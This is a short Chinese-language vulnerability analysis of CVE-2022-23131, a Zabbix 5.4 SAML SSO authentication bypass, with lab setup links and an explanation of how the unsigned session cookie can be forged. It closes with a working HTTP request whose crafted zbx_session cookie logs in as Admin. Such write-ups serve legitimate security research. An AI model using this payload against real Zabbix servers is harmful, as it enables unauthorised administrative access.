CVE-2022-23131
环境搭建:
-
zabbix5.4的虚拟机:
https://cdn.zabbix.com/zabbix/appliances/stable/5.4/5.4.8/zabbix_appliance-5.4.8-vmx.tar.gz
-
配置saml sso登录:
https://www.bookstack.cn/read/zabbix-5.0-zh/4913494851f19cb1.md
漏洞分析:
在zabbix
中session
的处理是自定义的,如这里CCookieSession
中自定义session
的处理方式
比如读取,是从cookie
中base64->json_decode
后存入$_SESSION
比如提取sessionid
,也是同样的道理
CEncryptedCookieSession
继承了CCookieSession
,并重写了提取sessionid
的extractSessionId
方法,并加了一个校验checkSign
而在index_sso.php
中,这里没做任何校验,把$_SESSION['saml_data']
的值拿来并用里面的username_attribute
作为username
来查询,如果$data
有值那么就直接设置一个sessionid
获取权限。因为上面session
的读取存储是通过CCookieSession#read
完成的,所以这里$_SESSION['saml_data']
可控,也就绕过了鉴权
payload
GET /index_sso.php HTTP/1.1
Host: 192.168.196.131
Cookie: zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9
Connection: close
参考:https://y4er.com/post/cve-2022-23131-zabbix-web-frontend-bypassing-the-saml-sso-authentication/